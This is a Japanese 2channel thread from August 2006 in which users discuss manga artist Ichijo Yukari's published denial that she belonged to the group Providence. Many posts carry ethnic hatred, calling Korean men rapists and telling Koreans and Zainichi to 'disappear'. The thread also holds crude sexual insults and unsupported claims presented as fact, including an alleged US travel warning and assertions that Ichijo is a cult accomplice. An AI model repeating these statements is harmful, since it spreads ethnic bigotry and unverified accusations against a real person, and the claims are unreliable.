703 :花と名無しさん:2006/08/04(金) 23:18:34 ID:???0
判りやすいのが来てるね。
どういう設定の人たちだろw

704 :花と名無しさん:2006/08/04(金) 23:18:36 ID:???0
>>少女漫画とか見てても中世ヨーロッパ調だしな

いつの時代の少女漫画ですかw
この板でそんな書き込みするあたり…

705 :花と名無しさん:2006/08/04(金) 23:18:54 ID:???0
>>700
一昔前の話。今は肌の色にこだわらない人がふえた

706 :花と名無しさん:2006/08/04(金) 23:18:59 ID:???0
>>698
韓国男の金髪白人女コンプレックスの方が何千倍も強力だよ、
アメリカ政府が「アメリカの白人女性は韓国男にレイプされるから韓国旅行に行くな」
と前代未聞の警告を出したんだからねwwwwwww

707 :花と名無しさん:2006/08/04(金) 23:19:51 ID:???0
>>700
イエローキャブってのは朝鮮人がアメリカでザパニーズ名乗ったからだよ。迷惑千万。

708 :花と名無しさん:2006/08/04(金) 23:19:55 ID:???0
>>692
で、一条さんは、出たの?写真か名前が?

709 :花と名無しさん:2006/08/04(金) 23:19:58 ID:???0
>>703
Bスレや東亜系でよく見る単語だね。

710 :花と名無しさん:2006/08/04(金) 23:20:26 ID:???0
韓国人教祖キモすぎた・・・・あのチアは喜ばせ組そのまんまだったな。

711 :花と名無しさん:2006/08/04(金) 23:20:38 ID:???0
在日男かと思ってたら日本人キモヲタ男かw

712 :花と名無しさん:2006/08/04(金) 23:23:28 ID:???0
>>711
ぬー即見て少女漫画板に来たヒッキーでしょ。
女と話したことないからガキみたいな会話しかできないw

713 :花と名無しさん:2006/08/04(金) 23:23:43 ID:???0
コーラスWEBのコメント読めた人いる?

714 :花と名無しさん:2006/08/04(金) 23:25:02 ID:???0
肉便器超キモイお。しゃべるなだお。万個臭いお。

715 :花と名無しさん:2006/08/04(金) 23:25:20 ID:???0
>>698が朝鮮人なのはガチなのでスルー推奨

716 :花と名無しさん:2006/08/04(金) 23:26:16 ID:???0
しかし、強姦教団の 宣伝を少女漫画家がよくやったよ

強姦被害者がいる事実をみても、一条の罪は大きい



717 :花と名無しさん:2006/08/04(金) 23:27:00 ID:???0
NANAとかいうオサレヤリマン漫画がスルーなのは不思議なんだお

718 :花と名無しさん:2006/08/04(金) 23:27:55 ID:???0
>>714
万個の匂いに飢えてここまで出張してくるニートヒキオタ童貞のお前が言うなw

719 :花と名無しさん:2006/08/04(金) 23:34:59 ID:???0
まあ話を戻そう


今、一条ゆかり容疑者はどこにいる?

720 :花と名無しさん:2006/08/04(金) 23:39:59 ID:???0
まんが書いてるんじゃねぇか


721 :花と名無しさん:2006/08/04(金) 23:41:54 ID:???0
http://vista.xii.jp/img/vi5470103386.jpg

722 :花と名無しさん:2006/08/04(金) 23:43:23 ID:???0
一条ゆかり公式コメントキタ━━━━━━(゚∀゚)━━━━━━ !!!!!
アクセス数がハンパじゃないのか、今は「混雑してます」画面になりやすいみたい。

◆ 一条ゆかり先生から読者の皆様へ ◆
http://chorus.shueisha.co.jp/special/index.html

723 :722:2006/08/04(金) 23:45:19 ID:???0
サイトが混んでて読めない人の為に少し引用

>一部メディアにおいて、私が、宗教団体「摂理」の信者であるかのような報道がなされており、
>読者のみなさまにはご心配をおかけしております。しかし、これは全く事実ではなく、
>私は、「摂理」の信者ではありませんし、過去においても信者であったことはありません。

バックレキタ─wwヘ√レvv~(゚∀゚)─wwヘ√レvv~─ !!!


724 :花と名無しさん:2006/08/04(金) 23:45:40 ID:???0
>>713
今見てきた。
超要約すると、摂理だなんて知らなかった、ということなので、
このまま連載は続けるのかな?



725 :花と名無しさん:2006/08/04(金) 23:46:31 ID:???0
>>723
じゃあなんでなんで週刊誌に書かれてたんだ?

726 :花と名無しさん:2006/08/04(金) 23:48:35 ID:???0
このまま知らんぷりして連載続けるつもりなのかねぇ。


727 :花と名無しさん:2006/08/04(金) 23:48:43 ID:???0
>>722
キタ━━━━━━(゚∀゚)━━━━━━ !

しかしこのスレで推測されていたような域を出とらんな。
『天使のツラノカワ』は摂理がモデルだったことが確定したことくらいか。
朝鮮カルトをモデルになんかすんなよ・・・・疑え馬鹿一条・・・orz

集英社の編集も馬鹿だ。まともな団体を紹介してやれよ。
集英社に摂理の信者がいるんじゃないか。

728 :花と名無しさん:2006/08/04(金) 23:50:24 ID:???0
>>723
これで突き通せるのかねー

729 :花と名無しさん:2006/08/04(金) 23:50:38 ID:???0
>>714
包茎でインポの童貞キモヲタのチンカスの方が臭いwww

730 :花と名無しさん:2006/08/04(金) 23:53:13 ID:???0
神父と牧師の区別もつかないからまんまとカルトに引っかかるんだよ、バカ。
「そうだ、あのときの知り合いに教えてもらおう」じゃねえよ、ちょっとは自分で文献に当たって
基礎知識を得てから行けよ。
結局カルトに顔を出し、カルトに立場と名前を利用される隙を与え、
カルトの教義に則ったエセキリスト教を広める手伝いを、した事実には変わらない。
それは、全部無知と怠惰のせいじゃないか。

なんでも女王風吹かして人に一から教えてもらおう、楽しよう、それが今の連載の
ふらふらした展開、オペラのシーンの少なさにつながってるんでしょ。
物語に必要な最低限の下調べがめんどくさいなら漫画描くのなんかやめろ。

731 :花と名無しさん:2006/08/04(金) 23:53:16 ID:???0
>>721
本当に、ニュースで語ってた
これは、韓国人の考え方?それとも
川島憲二教授の論理なのか




732 :花と名無しさん:2006/08/04(金) 23:53:57 ID:???0
>>717
「NANA」の奈々(ハチ)のほうは女にモテない童貞に人気あるんだよw
アンタ読んだらハマると思うよw

733 :花と名無しさん:2006/08/04(金) 23:54:42 ID:???0
大体たったひとつの団体に顔を出して、たった一つの団体の聖書の解釈だけ聞いて、
それで宗教に関する話を描こうってバカすぎる。

734 :花と名無しさん:2006/08/04(金) 23:55:55 ID:???0
公式コメ、誰かコピペしてくれ
見れそうもない

735 :花と名無しさん:2006/08/04(金) 23:56:28 ID:???0
>>721
わけわかんなくてワラタ
にてるってスカンジナビア半島ならまだわかるが

736 :花と名無しさん:2006/08/04(金) 23:56:50 ID:???0
ここに来てる童貞キモヲタは「日本の女は白人男とばっかヤッてる」って脳内で決め付けて
結果的に韓国人に強力してる馬鹿男。巣に帰れっつーの。

737 :花と名無しさん:2006/08/04(金) 23:58:13 ID:???0
>>731
朝鮮カルトの筆頭統一教会の教義そのままだよ。教授の論理ではありません。
韓国人の多くが持つ斜め上の思考そのままでもある。
朝鮮半島は男尊女卑が激しく徹底してるからね。無理矢理、日本=女=格下の存在にしたいわけ。

738 :花と名無しさん:2006/08/04(金) 23:59:12 ID:???0
>>722
>ひどい肩こりを何とかしたいと
>気功教室に通ったことがあり、やはり習いに来ていた牧師の方と知り合いになりました。
>私は、その牧師さんに取材のために聖書を勉強したいと言って、連絡をとり、
>勉強会に出てみることにしました。当時、私はその勉強会を普通のプロテスタント系のキリスト教
>の聖書勉強会としか思いませんでした。



すげぇよ、これは大学生が、カルト教団に入信させられた、過程と手口が酷似。
やっぱ一条も信者だったんだな。それを認めたんだな。






739 :花と名無しさん:2006/08/05(土) 00:03:22 ID:???0
だまされてるとでも何とでもw
自分はこの発表を疑問視することはないわ。
プライドがヘタレなのは変わらないし。

あえて上げるなら、 遅 い  ! !!!!!!!!!!!!!!!!!!!!!!!
逃げ回ってないで、取材しろよ!

740 :花と名無しさん:2006/08/05(土) 00:04:31 ID:???0
>>721
キモいねー

741 :花と名無しさん:2006/08/05(土) 00:05:18 ID:???0
牧師だと洗礼名とか名乗ってるから
韓国人ってわかんなかったんじゃない?

742 :花と名無しさん:2006/08/05(土) 00:05:39 ID:???0
>たくさん心配をかけて、すみませんでした。


すみませんでしたって・・・・w
この言葉使いはどうよ
さすが御大

743 :花と名無しさん:2006/08/05(土) 00:06:26 ID:???0
アタシ知らなかった!…でいいけどさ
今度は在日と信者と元信者からのバッシング来るんじゃない?

744 :花と名無しさん:2006/08/05(土) 00:06:57 ID:???0
違うんだったら、記事になった時点で否定すればいいのに・・・
特に興味がない一般の人はもう信じちゃったよw
ばかねぇ

745 :花と名無しさん:2006/08/05(土) 00:07:33 ID:???0
三大祝福って統一教会独特の物なの?

746 :花と名無しさん:2006/08/05(土) 00:07:59 ID:???0
>>741
牧師は洗礼名なんか名乗らないぞ。

まあ、一条がひっかかった「牧師」とやらは通名で日本名名乗っていただろうがな。

747 :花と名無しさん:2006/08/05(土) 00:08:29 ID:???0
つーかこのコメントが事実だったとしても、
勉強会に参加した先がたまたまカルトじゃなかったとしても、
敬虔で熱心な信者の前で禁令事項の酒やタバコを好き放題、って
態度でもうダメじゃん、この人。

748 :花と名無しさん:2006/08/05(土) 00:09:11 ID:???O
TVでの「摂理」解説では、信者の下にサークル活動してる下層が大勢いるらしいけど。
肩こり治療→サークルみたいなモノ
聖書勉強会→信者格上
と言う解釈?

749 :花と名無しさん:2006/08/05(土) 00:09:21 ID:???0
知らなかったっていうしかないんだろうけどね…
知ってたけどもう信者じゃありませーん。じゃもう生きていけないだろうし。
でも新潮なんかであそこまで書かれて、この一言で逃げようなんて
あさはか過ぎる。

750 :花と名無しさん:2006/08/05(土) 00:11:18 ID:???0
一条ゆかりの年で、統一協会問題がどれだけ社会問題になったか知らないで、
まんま同じ系列のカルトにはまるって、どれだけヴァカなんだろう… ○| ̄|_
それに、ネームは素通しじゃないだろ!
担当やデスクや編集長は何やってたんだよ!
新人のネームの重箱の隅をつついてる暇があったら仕事しろよ!

あと、ヘタレに韓国人枠で仕事やるのもやめて下さい。

751 :花と名無しさん:2006/08/05(土) 00:11:23 ID:???0
>>737
そういうの聴くと統一教会も危ないカルト教団
であるのが判るのに信者がいるのは異常
日本女の貞操を狙う

ってことは、簡潔にいうと、日本人の子孫を残せなくする行為だ


752 :花と名無しさん:2006/08/05(土) 00:12:43 ID:???0
集英社の顧問弁護士とかが代わりに
「一条くらいの年齢でもっと頭の良い女性」が書いたような謝罪文書いてやればいいのに。

753 :花と名無しさん:2006/08/05(土) 00:13:24 ID:???0
>>738
十次式治療の漫画が載ってたけど
あれも摂理と関係あるのかしら

754 :花と名無しさん:2006/08/05(土) 00:14:10 ID:???0
>>750
担当やデスクや編集長が韓国好きなんですってば。

755 :花と名無しさん:2006/08/05(土) 00:14:19 ID:???0
>>750
テンプレに集英社に韓国で顔のきく人がいるとか、そういうネタがあったような・・・
一番最初の気功教室を紹介した人が信者なんじゃないか?

756 :花と名無しさん:2006/08/05(土) 00:15:11 ID:???0
>>737サンクス

韓国の手前勝手なこじつけ論なわけか


757 :花と名無しさん:2006/08/05(土) 00:16:41 ID:???0
>>752
逆ギレしないだけ山田南平よりマシです><!

758 :花と名無しさん:2006/08/05(土) 00:17:06 ID:???0
>>757
ワロスwwwwwwwwwwwwwwwwwwwwwwwwwww

759 :花と名無しさん:2006/08/05(土) 00:17:26 ID:???0
まあ「現役信者」じゃなかったら週刊誌とかを訴えるだろうし
そんな素振りを見せてないし後ろめたさみたいなのあるし
         
           「現役信者」

なんだろ
これから問い詰められても「騙された信者」という設定にしたいのかな
こんなことで逃げられると思ってんのが馬鹿馬鹿しい

760 :花と名無しさん:2006/08/05(土) 00:18:21 ID:???0
そういえば
ヨニン、どうしてるかなあ。

761 :花と名無しさん:2006/08/05(土) 00:18:54 ID:???0
>>751
韓国人と結婚してる日本人は圧倒的に男が多いんだけどね。
日本の男は騙されんなよー。まともな日本女性は韓国人相手だとまず引く。

実際結婚してるのは日本人男性&韓国人女性だという現実から目をそらしたいわけよ、韓国人は。ほら、斜め上だから。

762 :花と名無しさん:2006/08/05(土) 00:19:03 ID:???0
>>759
そうおもわれても仕方がないよね。
でも>>755の可能性を考えると、すぐに声明を発表できなかったかもしれない、とか思う。
裏方はニュースにもならないから、もうわかりようがないけど。

763 :花と名無しさん:2006/08/05(土) 00:20:24 ID:???0
韓国料理を習いに行って、一条に朝鮮料理ばかり食べさせてた姪は?

764 :花と名無しさん:2006/08/05(土) 00:26:19 ID:???0
>>761
その現実に逆らうために、朝鮮カルトの合同結婚式では日本女性と韓国男性を組み合わせるんだよね。
朝鮮人による民族浄化が目的だから。
何も知らない日本女性が、韓国の貧農に嫁がされて虐げられる、と・・・。

765 :花と名無しさん:2006/08/05(土) 00:29:40 ID:???0
韓国人のキリスト教は信用しない方がいいってのをもっとみんな知るべきだよ。
日本人嫁をどんどん韓国の農村に送り込んでる統一教会にしても、
京都のレイプ牧師にしても、この摂理にしても。
女犯して、隷属させることしか頭にねーのかと思うぐらい、すぐそっち行くからね。
日本人女なんて、金持ってて人が好い上に、彼らの自尊心も満たせるってんで格好のターゲット。
アメリカの市民権取りやすいからって、簡単に牧師になって移住しようとする連中も多いしな。

元々、二次大戦後に「今度の勝ち組はアメリカだ。キリスト教になれば欧米受けがいい」ってんで
それまで全く居なかったキリスト教徒がどっと増えた国。

日本のマスコミはこういう実像伝えないから、だまされる人が後を絶たないんだろうなー。

766 :花と名無しさん:2006/08/05(土) 00:31:01 ID:???0
一人まだ必死だな。一条の話しようよw

767 :花と名無しさん:2006/08/05(土) 00:34:58 ID:???0
いや一人じゃないしw
一条が騙された朝鮮カルトの話をしたくないのは766一人ってことは分かった。

768 :花と名無しさん:2006/08/05(土) 00:37:23 ID:???0
駆るとの常套手段として、なんかのイベントに呼んで
「お名前ください」って芳名帳的なニュアンスでサインさせて
それが実は信者登録って手口があるけど

本人にはそのつもりがなくても、勉強会に参加してる時点で
信者扱いになったままなんじゃないの?

769 :花と名無しさん:2006/08/05(土) 00:38:39 ID:???0
>>765
犬を食べる韓国人はダメ


770 :花と名無しさん:2006/08/05(土) 00:39:13 ID:???0
>>733
信者じゃないとか言ってるけどそれ信者だよな
何だよこの支離滅裂な文

771 :花と名無しさん:2006/08/05(土) 00:41:23 ID:???0
>>767
ワロタ
そうだよね。
一条さんが韓国カルトに関わってるのが明らかになったから
当然そっちの話もこのスレで出るのに。

772 :花と名無しさん:2006/08/05(土) 00:44:11 ID:???0
この一条コメントは、一条の個人サイトじゃなくて
集英社のコーラスのサイトから出してるだろ。

このコメント、集英社の検閲受けた上で出してるってことだ。

集英社もグルかな。

773 :花と名無しさん:2006/08/05(土) 00:44:18 ID:???0
読んできた。

事実無根なら新潮訴えろ。
あそこまでデカデカ顔出しされて
webのペラ一枚しおらしく釈明で終了なんざ一条らしくない。

堂々と白黒つけてやれ。

774 :花と名無しさん:2006/08/05(土) 00:45:20 ID:???0
WEBでコメント出したってことで
コーラスはスルーだな。
ネットに疎い普通の読者にはバックれつづけると見た。

775 :花と名無しさん:2006/08/05(土) 00:45:36 ID:???0
>>721
朝鮮半島だけみたら男性器に例えられるかもしれないが
中国大陸とセットでみたら、黄海なんてまさに膣。日本が男性器にみえますが

776 :花と名無しさん:2006/08/05(土) 00:45:51 ID:???0
おまえらwwwwww

スレチですが、置いていきますつ荒しテク
・在日認定
・嫌韓だと言わせる誘導
・一見釣られた住人のフリで、本当の住人を巻き込む
・住人同士の仲間割れを装う >>102など。

だったら一言くらい一条の話いれたら?


777 :花と名無しさん:2006/08/05(土) 00:45:53 ID:???0
>>773
訴える相手は摂理でねぇの?

778 :花と名無しさん:2006/08/05(土) 00:46:39 ID:???0
776は粘着してた「スレチ」と全角wの人だな。

779 :花と名無しさん:2006/08/05(土) 00:47:45 ID:???0
>>778
仲間割れを装う釣りですか?一条の話してよw

780 :花と名無しさん:2006/08/05(土) 00:47:53 ID:???0
御大のコメントに対するレスが続いてるようにしか見えないけど
「一条の話しろ」ってどういう意味だ?

781 :花と名無しさん:2006/08/05(土) 00:49:13 ID:???0
少女漫画家の場合、宗教に入れ込んじゃう人が決してありえない話でも無くはないというか、
むしろありがちな話なので、余計にというとこはある。

一条さんの場合はちらっと関わったら、宣伝に利用された感があるっつーか、
そんなに深く入れ込んでたわけじゃない感じはあるね。
にしても、こりゃ運が悪いというか、起こした事件がでかすぎだ。
朝鮮人はレイプはレイプでも、人数の桁が三桁とか四桁とかすげーな。

782 :花と名無しさん:2006/08/05(土) 00:49:16 ID:???0
>>780
>>767前後読んでみ。韓国の手段にひかっかる女の話ばっかり。
そういうのは誘導レスつければいいのに。

783 :花と名無しさん:2006/08/05(土) 00:51:07 ID:???0
>>782
だって御大がまんまと「韓国の手段に引っかかった」んじゃん。

784 ::2006/08/05(土) 00:51:14 ID:???0
集英社の一条コメントやっと見れた。↓
-------------------------------------------------
◆ 一条ゆかり先生から読者の皆様へ ◆

 こんにちは、一条です。
長い間、私の漫画を愛読してくれているファンの方々へ、
また最近、漫画を読んでくれている読者の方々に、本当は一人一人会って、
説明したいのだけれど、それもかなわないので、こうして手紙を書くことにしました。

 一部メディアにおいて、私が、宗教団体「摂理」の信者であるかのような報道がなされており、
読者のみなさまにはご心配をおかけしております。しかし、これは全く事実ではなく、
私は、「摂理」の信者ではありませんし、過去においても信者であったことはありません。

 もともと健康オタクの私は、15年ほど前、ひどい肩こりを何とかしたいと
気功教室に通ったことがあり、やはり習いに来ていた牧師の方と知り合いになりました。

 数年後、私は、牧師の娘で大学生を主人公に恋愛漫画を描こうと思い立ちました。
「でもキリスト教について全く知らない、どうしよう…
そうだ、あの牧師さんが聖書について教えていると言っていた!」
 私は、その牧師さんに取材のために聖書を勉強したいと言って、
連絡をとり、勉強会に出てみることにしました。当時、私はその勉強会を
普通のプロテスタント系のキリスト教の聖書勉強会としか思いませんでした。

785 :花と名無しさん:2006/08/05(土) 00:51:18 ID:???0
さっきから一条コメント関係のレスばかりという現実から目をそらす>>779
あからさまな朝鮮カルト関係者なのでスルー推奨。


786 :花と名無しさん:2006/08/05(土) 00:51:44 ID:???0
私はプライドの話がしたいの!作品の話がしたい!
ここは韓国人の犯罪を住人に広めるスレなの?
ねらーだったらいいかげん耳タコでしょ!


787 :花と名無しさん:2006/08/05(土) 00:52:05 ID:???0
>>781

> にしても、こりゃ運が悪いというか、起こした事件がでかすぎだ。
> 朝鮮人はレイプはレイプでも、人数の桁が三桁とか四桁とかすげーな。


だからそれだけ、女を品物扱いしてる証


788 ::2006/08/05(土) 00:52:10 ID:???0
 勉強会に来ていたのはほとんどが大学生。聖書について詳しく知りたかった上に、
私は高校しか行ってないので、大学生を主人公に描くにあたっては、
大学生活についてもいろいろ知りたいし、この勉強会はまさしく渡りに船でした。
しばらく取材して、1999年4月に『天使のツラノカワ』の連載をスタートし、
連載中も時間を見つけては取材の目的で勉強会に出席しました。
入会の手続や儀式をしたことは勿論ありません。

 勉強会の教材は聖書だけで、学生さん達はみんな熱心にノートをとっており、
また、聖書の勉強と併せて、賛美歌やゴスペルの練習をしていました。
プロテスタントを自認する彼らは、みんな大学生なのに酒もタバコもやりませんでした。
私は、取材が目的で勉強会に参加しており、信者ではありませんでしたので、
よく彼等の目の前で飲んだり吸ったりして嫌がられていました。
しかし、私は、勉強会の後のお茶につきあったり、学生さん達が練習した賛美歌や
ゴスペルの発表会に参加したこともあったので、信者に間違えられたのかもしれません。
2001年に『天使のツラノカワ』の連載が終了すると同時に、取材の必要もなくなり、
私は勉強会に通うこともなくなりました
(『天使のツラノカワ』は「コーラス」1999年6月号〈1999.4.28発売〉〜
2002年2・3月合併号〈2001.12.27発売〉に掲載)。

789 :花と名無しさん:2006/08/05(土) 00:52:32 ID:???0
また認定かw
釣り師も必死だなw

790 ::2006/08/05(土) 00:52:56 ID:???0
 最近になって、私が数年前に取材した、この勉強会が、
問題の指摘される「摂理」という団体が運営していたことを知り驚いております。
私は取材当時、「摂理」の教祖なる人物が、昨今報道されているような
問題を起こしているなどということを全く知りませんでした。
また、私は、「摂理」が入会者を勧誘するに際して、協力をしたことも一切ありません。
私自身が誰かを勧誘したこともありません。しかし、私がキリスト教に疎かったとはいえ、
この勉強会を取材対象に選んだことが適切ではなかったというご批判は、
率直に受け止めなければならないと考えております。

 冒頭にも述べましたが、私は「摂理」の信者であったことはありません。
一部メディアによって、憶測だけでいろんなことを言われ、本当に辛くて悔しいです。
読者の方には私からきちんとお伝えしたかったので、このような手段を取ることにしました。
面白い漫画を描きたい、いろんなことが知りたいと思い、何も気にせず、
一人で突っ走ってしまったことが、こういう事態を招いてしまったのだと反省しています。

たくさん心配をかけて、すみませんでした。

一条ゆかり 2006.8.4

791 :花と名無しさん:2006/08/05(土) 00:53:14 ID:???0
>>783
禿同。>>779=>>782は下手な釣り師韓国カルトでFA

792 :花と名無しさん:2006/08/05(土) 00:53:17 ID:???0
スレチw
まだつかってるんだ「スレチ」って



793 :花と名無しさん:2006/08/05(土) 00:53:20 ID:???0
>>784
次スレのテンプレに加えましょ!

794 :花と名無しさん:2006/08/05(土) 00:53:50 ID:???0
>>791
韓国の犯罪大好きっ子乙

795 :花と名無しさん:2006/08/05(土) 00:54:22 ID:???0
>>786

はい、誘導レス

《一条ゆかり》の懐かし漫画・その2
http://comic6.2ch.net/test/read.cgi/rcomic/1154523031/


796 :花と名無しさん:2006/08/05(土) 00:54:23 ID:???0
で、連載してる作品未見なんだが、その内容がまさに摂理の教義内容なわけ?
どのへんが広告塔なんだ?
レスが早すぎてわからん。

797 :花と名無しさん:2006/08/05(土) 00:54:43 ID:???0
>>792
こぴぺでしょ?まあいいわ

798 :花と名無しさん:2006/08/05(土) 00:55:46 ID:???0
>>794
朝鮮人乙

799 :花と名無しさん:2006/08/05(土) 00:56:53 ID:???0
>>796
今連載してるのは違う。
問題視されてるのは現在文庫が出てる「天使のツラノカワ」。
今読まないと、そのうち絶版になるかも。

今日、本屋で買おうかどうかだいぶ悩んだよ…どうしたもんかな。

800 :花と名無しさん:2006/08/05(土) 00:57:50 ID:???0
『信者になったつもりはないが、
宗教をテーマにしたラブコメ漫画「天使のツラノカワ」を
描くために、取材として摂理の教義の勉強会に参加していた』

ということなんだね。

ただの言い訳だね…。

一緒に勉強会に参加した時に出会ったマジメな学生さんに詫びて
摂理に自分を勝手に広告塔に使ったことについて
抗議するべきじゃないの?

801 :花と名無しさん:2006/08/05(土) 00:58:02 ID:???0
>>798
在日乙

802 :花と名無しさん:2006/08/05(土) 00:58:02 ID:???0
あの文が全て本当だとしても、
入会の手続や儀式をしなければ信者じゃないのか?
勧誘もしてないと言っても実質的に勧誘してるようなもんだろ
しかもそれは一般人の勧誘とは比べ物にならないほどの影響もあるわけだし


803 :花と名無しさん:2006/08/05(土) 00:58:51 ID:???0
●天ツラの4巻のシスターとの会話
 「三大祝福ですよね。生めよ、ふえよ、地を従わせよ」

三大祝福 →(統一協会&摂理用語)
http://www.google.com/search?num=100&hl=ja&q=%E4%B8%89%E5%A4%A7%E7%A5%9D%E7%A6%8F&lr=


804 :花と名無しさん:2006/08/05(土) 00:59:03 ID:???0
>>798
>>801
まとめて消えろ、ボケが。いいかげんウザス

805 :花と名無しさん:2006/08/05(土) 01:00:32 ID:???0
朝鮮人と在日はまとめて消えろ

806 :花と名無しさん:2006/08/05(土) 01:01:32 ID:???0
一条本人が摂理を取材して「天使のツラノカワ」を書いたと言ってる以上、
朝鮮カルト教義満載の作品だってことでしょう。

既に何人もが言ってるけど、人に聞こうなんて安易なこと考えないで、自分で文献あたれよ・・・

807 :花と名無しさん:2006/08/05(土) 01:01:36 ID:???0
>>803
リンク先は見てないけど、これは酷いというか・・・やばいね。
どうしてカトリックに取材にいかなかったんだろう・・・カトリックのが古典だってのは知ってたはずなのに。
いや、付き合いなんだろうけど、後悔先に立たずだね。

808 :花と名無しさん:2006/08/05(土) 01:03:52 ID:???0
>>802
漫画家が漫画の取材のために、宗教家に教義の話を聞いて
それを参考にしたらみんな信者になるのか?

まあ一条がウカツというか、無知だったために
周囲の人間の誤解をまねいて被害を大きくした?のは確かだけど

809 :花と名無しさん:2006/08/05(土) 01:05:18 ID:???0
やっぱり出だしの気攻教室だよ、ここを紹介した人がぁやしぃ

810 :花と名無しさん:2006/08/05(土) 01:06:06 ID:???0
>>790
なんだろうな……ちょっとだけ違和感がある……。

・全く知らなかった
・当時は教祖がそんなだなんて分からなかった
・単に取材しただけ
・自分は信者じゃない
・マスコミに書かれて、辛く苦しい

なんだかすごく「自己保身」が先にある気がする。
ほんとに苦しいのは被害に遭った人たちのはずで、その方たちに言及する言葉が一言も無いのがどうもな…。

811 :花と名無しさん:2006/08/05(土) 01:06:25 ID:???0
>>808
まあ、あの文が全部本当だとしても責任は取るべきだよな

812 :花と名無しさん:2006/08/05(土) 01:07:09 ID:???0
自分は大学にいってないと、高卒アピールで同情を買おうとしているな。
一条…

813 :花と名無しさん:2006/08/05(土) 01:07:11 ID:???0
>>810
御大は元々そういうキャラですから

814 :花と名無しさん:2006/08/05(土) 01:07:40 ID:???0
>>808
本人に他意は無くとも他人への影響力は大きいと思う。
そこに責任は発生するのは確かだよ。

ところで天ツラってラブコメみたいだがそんなにカルトの
影響力ある作品なのかい?


815 :花と名無しさん:2006/08/05(土) 01:08:05 ID:???0
十字式だの、気功だの、汚血だの…
肩こりを治すのに安易な方法ばかり模索してるんだよなこの人。
超能力で寝転がってる間に直ったら嬉しいなってか。
病院で内臓の検査を受けて、食事を改善して、適度な運動して、筋力をつけて…
みたいな地道で確実な手段じゃなくて、楽な方、楽な方へ。

結果がこれだ。

816 :花と名無しさん:2006/08/05(土) 01:08:16 ID:???0
だから、全てが遅すぎたのよ・・・・
こうやって落ちていくのね・・・・ああこわいこわい

817 :花と名無しさん:2006/08/05(土) 01:09:43 ID:???0
>>814
このスレでも見たけど、教義はスルーしてるので影響無し。
興味もないので、本当のものと間違っていても、正直どうでもいいという感じ。

818 :花と名無しさん:2006/08/05(土) 01:09:52 ID:???0
>>799
絶版に決まりでしょW

819 :花と名無しさん:2006/08/05(土) 01:10:16 ID:???0
>>810
それなんだよ
すごいプライドが高いというか自己中心的というか
自己保身にしか見えないから
カルトにどっぷり浸かってたようにしか思えない
漫画も描いてるしな

820 :花と名無しさん:2006/08/05(土) 01:11:22 ID:???0
今持ってない一条作品は買っとくべき?
重版かかんなくなって絶版とかならない?

821 :花と名無しさん:2006/08/05(土) 01:12:15 ID:???0
>>813
うん。
ファンの間や内輪ならこういう人だからで済むけど、
社会的な観点からいくと、あんまり大人のコメントじゃないなーと思う。

822 :花と名無しさん:2006/08/05(土) 01:12:17 ID:???0
天ツラを読んで信者になった、あるいは一条ゆかりも摂理の信者!
と聞いて信者になった人ってどれくらいいるんだろう

823 :花と名無しさん:2006/08/05(土) 01:12:33 ID:???0
>>815
一条の性質を文章化w


824 :花と名無しさん:2006/08/05(土) 01:13:08 ID:RArfqWDF0
とにかく教祖よりデカく広告に顔写真載せられたんだから
嘘なら新潮を、訴えるでしょ。
今まで事実無根なら有名人はそうしてきた。
やましいことがあるなら裁判で、表ざたになっちゃうので訴えない。
一条はどうでしょうね?

825 :花と名無しさん:2006/08/05(土) 01:13:12 ID:???0
>>822
あのキャラに憧れる人はいないんじゃw

826 :花と名無しさん:2006/08/05(土) 01:13:55 ID:???0
韓国に本部を持つ「摂理」という教団は、日本では宗教法人ではない一般の団体、この件は、既出だけどね。
ググればこれを裏付けるサイトもあるよ。
聖書の同好会のようなものだ。だから、入会申し込み書類とかあるわけじゃないのだろう。
一条さん側の、信者になったつもりはない、という言い分は、
教団側にしてみれば、信者と同様に参加してもらったつもりだ、という言い分になってしまうな。

どっちにしても、広告塔となり若い大学生達を信用させる役割をやったという、その重い責任から逃れられるわけじゃないよ。
弁護士の先生方、しっかり追及して下さいませ。

827 :花と名無しさん:2006/08/05(土) 01:13:58 ID:???0
>>824
だね、今後の動きに期待。
本当に嘘なら訂正文を書かせるくらいはするはずだと思う。

828 :花と名無しさん:2006/08/05(土) 01:13:59 ID:???0
>ほんとに苦しいのは被害に遭った人たちのはずで、
>その方たちに言及する言葉が一言も無いのがどうもな…。

ここが私も気になった。真っ先にそこに言及して謝罪する立場なのに。
これは裁判になったときに逃げるための方便かな。


829 :花と名無しさん:2006/08/05(土) 01:14:01 ID:???0
>>820
仕事干されるかもね〜将来。

830 :花と名無しさん:2006/08/05(土) 01:14:53 ID:???0
>>829
将来ってwwwもう老後だろwwww

831 :花と名無しさん :2006/08/05(土) 01:15:26 ID:???0
普通に考えてキリスト教の勉強したいと思ったら
編集にアポとってもらうとか
近所の教会さがして事情話して取材したほうがいいんじゃない?
なんか出だしから遠回りしすぎてむしろ不自然。

832 :花と名無しさん:2006/08/05(土) 01:15:39 ID:???0
>>822
一条のファンだから入った、って人はほとんどいないだろうけど
(そこまでカリスマじゃないだろう)
迷ってるときに、「こんな有名なコミックスを出してる人も参加してたんですよ」
「この人名前聞いたことあるでしょう? どこの書店にもこの人の本置いてあるでしょ?
この漫画ね、うちで取材したんですよ」と言われたことが、
参加するための安心感になった人は結構いるんじゃないかな。

833 :花と名無しさん:2006/08/05(土) 01:16:32 ID:???0
一条さんも、セックル洗脳強制 強姦教団の共犯 グル


834 :花と名無しさん:2006/08/05(土) 01:17:34 ID:???0
一条氏はBSの特番で映像見たことあるが
すげー強烈なキャラだった。
正直あの人がその辺の宗教に感化されるとは思えん。
つか本人が教祖タイプというか。
まあでもウカツなのは確かだな。

835 :花と名無しさん:2006/08/05(土) 01:19:03 ID:???0
>>832
「はなまるのおめざで紹介されました!」とか
「TVチャンピョン準優勝のパン屋」
みたいになんか信頼できそうな気にはなるよな。
近所に本当に↑のパン屋あるけど別においしくない事実。

836 :花と名無しさん:2006/08/05(土) 01:20:06 ID:???0
一条の頭の悪さが明らかになった

837 :花と名無しさん:2006/08/05(土) 01:20:25 ID:???0
>>832
それは弁護士側もきっぱり言ってな

838 :花と名無しさん:2006/08/05(土) 01:20:28 ID:???0
>>831
いや、取材したいけどきちんと調べるのは面倒だから
手近な(知ってる)人に聞くのですませちゃお〜という
一条精神がよくあらわれているよ。
なお悪いわ!といいたいけど

839 :花と名無しさん:2006/08/05(土) 01:20:47 ID:???0
>>814
漫画の内容は…

敬虔なクリスチャンの女子大生美花は、
天然な性格で、顔も天使のように可愛いけど
結婚まで貞操は絶対に守るべきと考えてる子。

この美花が、マジメで天然で
